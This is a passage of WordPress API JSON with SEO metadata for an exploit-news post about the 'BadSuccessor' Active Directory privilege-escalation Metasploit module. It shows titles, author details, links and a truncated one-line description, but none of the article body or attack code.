redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=35891","og_locale":"en_US","og_type":"article","og_title":"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-15T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits &#8216;Bad Successor&#8217;, which allows operators to elevate privileges on domain controllers running at the Windows 2025 forest functional level. Microsoft decided to...","og_url":"https:\/\/zero.redgem.net\/?p=35891","og_site_name":"zero redgem","article_published_time":"2026-01-15T13:34:28+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=35891#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=35891"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR-","datePublished":"2026-01-15T13:34:28+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=35891"},"wordCount":2592,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=35891#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=35891","url":"https:\/\/zero.redgem.net\/?p=35891","name":"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-15T13:34:28+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=35891#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=35891"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=35891#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"BadSuccessor: dMSA abuse to Escalate Privileges in Windows Active Directory_MSF:AUXILIARY-ADMIN-LDAP-BAD_SUCCESSOR-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35891","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=35891"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35891\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=35891"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=35891"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=35891"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}